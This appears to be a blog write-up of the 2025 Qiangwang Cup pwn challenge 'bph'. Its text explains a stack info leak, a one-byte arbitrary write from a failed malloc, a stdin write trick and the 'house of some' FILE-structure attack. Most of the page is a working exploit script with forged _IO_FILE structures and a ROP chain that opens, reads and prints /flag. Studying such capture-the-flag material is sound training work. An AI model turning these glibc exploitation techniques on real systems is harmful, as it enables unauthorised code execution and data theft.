当前位置: 首页 > news >正文

强网杯-2025-pwn-bph

解题思路:
第一处漏洞是这里,栈上数据没有初始化可以泄露信息,泄露出来的puts+偏移量用这个在线查libc的网站可以找到libc版本(在目标环境获得的),文章顶部有libc.so.6
在这里插入图片描述
这里malloc给一个比较大的值,比如64位地址,比如libc上的地址,malloc会失败返回值为0
这样接下来赋值0的语句,就会像size-1的位置写一比特0,即任意地址1比特0写,
在这里插入图片描述
这里用了stdin的一个任意地址写的trick
这个博客讲的比较清楚
接下里用house of some
这个博客写的也很清楚

都是直接套板子就可以,最后rop在io flush all 的ret构造,因为house of some核心就是程序退出时执行io flush all,而io flush all for 循环执行:用构造的fake_io的_chain字段连接的所有fake_io

def exp():global libcglobal binaryglobal elfelf = ELF(binary, checksec=False)libc = ELF("./libc.so.6", checksec=False)  sa(b'Please input your token: ',b'a'*(0x20)+b'deadbeef')ru(b'deadbeef')libc.address = uu64(ru(b'.',drop=True)) - 0x7e - 0xadd30leak('libc_address',libc.address)io_2_1_stdin = libc.sym['_IO_2_1_stdin_']leak('io_2_1_stdin',io_2_1_stdin)Create(io_2_1_stdin+0x38 +1,b'0')s(p64(0)*3+p64(io_2_1_stdin-0x300)+p64(io_2_1_stdin+0x70))environ = libc.sym['environ']fake_file_read_addr = io_2_1_stdin-0x200fake_file_read_1_addr = io_2_1_stdin-0x100_IO_file_jumps = libc.sym['_IO_file_jumps']fake_file_write = flat({  # _IO_2_1_stdout_0x00: 0x1800, # _flags0x20: environ,#需要泄露的起始地址0x28: environ+0x8,#需要泄露的终止地址0x70: 1, # _fileno-->stdout0x68: fake_file_read_addr,   # _chain0x88: io_2_1_stdin-0x10,0xd8: _IO_file_jumps, # vtable}, filler=b"\x00")fake_file_read = flat(  # _IO_2_1_stdout_ + 0x100{0x00: 0x8000 | 0x40 | 0x1000,  #_flags0x20: fake_file_read_1_addr,  # _IO_write_base 下一个要写入的io_file的开始地址0x28: fake_file_read_1_addr+0x100,  # _IO_write_ptr 写入的结束地址0x68: fake_file_read_1_addr,  # _chain    指向下一个io_file0x70: 0,  # _fileno0x88: io_2_1_stdin-0x10,0xc0: 0,  #_modes0xd8: _IO_file_jumps - 0x8,  #_vtables},filler=b'\x00')payload = fake_file_write.ljust(0x100, b'\x00')payload += fake_file_read.ljust(0x200, b'\x00')recover_stdin = flat({0x00:[0xfbad208b,p64(io_2_1_stdin+131)*7,p64(io_2_1_stdin+132),] , # flag,0x68:io_2_1_stdin-0x300   #_chain  指向下一个io_file(fake_file_write)}, filler=b"\x00")payload += recover_stdins(payload.ljust(0x370, b'\x00'))sl(b'6')sl(b'6')ru(b'bye\n')leak_stack = uu64(r(8))leak('leak_stack',leak_stack)# b *0x7ffff7e1437cret_of_io_flush_all_stack =leak_stack - ( 0x7fffffffee38-0x7fffffffec18)fake_file_read_1 = flat(  # _IO_2_1_stdout_ + 0x100{0x00: 0x8000 | 0x40 | 0x1000,  #_flags0x20: ret_of_io_flush_all_stack-8,  # 注意这里写起始地址,0x28: ret_of_io_flush_all_stack+0x100,  # 结束地址0x68: 0,  # _chain    指向下一个io_file0x70: 0,  # _fileno0x88: io_2_1_stdin-0x10,0xc0: 0,  #_modes0xd8: _IO_file_jumps - 0x8,  #_vtables},filler=b'\x00')s(fake_file_read_1.ljust(0x100, b'\x00'))# 0x000000000002882f : ret# 0x000000000010f78b : pop rdi ; retpop_rdi_ret = libc.address + 0x000000000010f78b# 0x0000000000110a7d : pop rsi ; retpop_rsi_ret = libc.address + 0x0000000000110a7d# 0x00000000000a877e : pop rcx ; retpop_rcx_ret = libc.address + 0x00000000000a877e# 0x00000000000ab8a1 : pop rdx ; or byte ptr [rcx - 0xa], al ; retpop_rdx_xor_ret = libc.address + 0x00000000000ab8a1# 0x00000000000dd237 : pop rax ; retpop_rax_ret = libc.address + 0x00000000000dd237# > ROPgadget --binary ./libc.so.6  --depth 20| grep 'ret' | grep 'mov rdi, rax'# 如果rdx < rcx,则不跳转 执行ret# 0x000000000005f036 : mov rdi, rax ; cmp rdx, rcx ; jae 0x5f020 ; mov rax, rsi ; retmov_rdi_rax_cmp_rdx_rcx_mov_rax_rsi_jae_ret = libc.address + 0x000000000005f036# 98fd5:	0f 05                	syscall# 98fd7:	c3                   	retsyscall_ret =libc.address + 0x98fd5rop = flat({0x00:b'/flag\x00',0x08:[# openat(0,"/flag",0)pop_rdi_ret,0,pop_rsi_ret,ret_of_io_flush_all_stack-0x8,pop_rcx_ret,ret_of_io_flush_all_stack-0x10,pop_rdx_xor_ret,0,pop_rax_ret,257,syscall_ret,# read('rax',ret_of_io_flush_all_stack-0x100,0x30)mov_rdi_rax_cmp_rdx_rcx_mov_rax_rsi_jae_ret,pop_rsi_ret,ret_of_io_flush_all_stack-0x100,pop_rcx_ret,ret_of_io_flush_all_stack-0x10,pop_rdx_xor_ret,0x30,pop_rax_ret,0,syscall_ret,# write(1,ret_of_io_flush_all_stack-0x100,0x30)pop_rdi_ret,1,pop_rsi_ret,ret_of_io_flush_all_stack-0x100,pop_rcx_ret,ret_of_io_flush_all_stack-0x10,pop_rdx_xor_ret,0x30,pop_rax_ret,1,syscall_ret]})s(rop)
http://www.dtcms.com/a/513104.html

相关文章:

  • 对前后端分离与前后端不分离(通常指服务端渲染)的架构进行全方位的对比分析
  • 大数据成矿预测系列(五) | 告别特征工程:卷积神经网络(CNN)如何实现“端到端”成矿预测
  • 国内响应式网站模板教学网站建设 效益
  • 华东建设安装有限公司网站wordpress手机编辑器插件下载
  • 请谈谈源码中StaticLayout的用法和应用场景?
  • 运营网站清风室内设计培训学校
  • UVa 10587 Mayor‘s Posters
  • 非洲用什么网站做采购开源低代码平台
  • 网站服务器空间不足最好的建站平台
  • LeetCode 3143.正方形中的最多点数
  • python 做电商网站北京朝阳客户端
  • 错误示例和如何规避
  • 电子商务网站建设实训心得体会哪里做外贸网站
  • OPARTMENT发布Light 系列 以“光”重塑都市青年生活方式
  • Ubuntu 系统安装教程(二):系统安装
  • JVM调优实战:一次GC风暴的排查与优化全记录
  • 修改查询默认1W限制
  • 网站建设 宣传商丘网站建设有哪些
  • 商业网站的创建程序线上运营推广是做什么的
  • 泉港区建设局网站廉政网站建设调查的问卷
  • 常宁市城市建设规划管理局网站4a广告公司排名
  • CHI-Read Transaction
  • LeetCode——二分(进阶)
  • 便宜购 网站建设鹤岗商城网站建设
  • Vue图片压缩方案
  • python去掉不是ts文件的链接
  • 性病医院网站优化服务商中国品牌网站设计
  • win2008网站404成都职业培训网络学院
  • 网站源码授权wordpress调用相关页面
  • Excel 宏安全设置与强制启用宏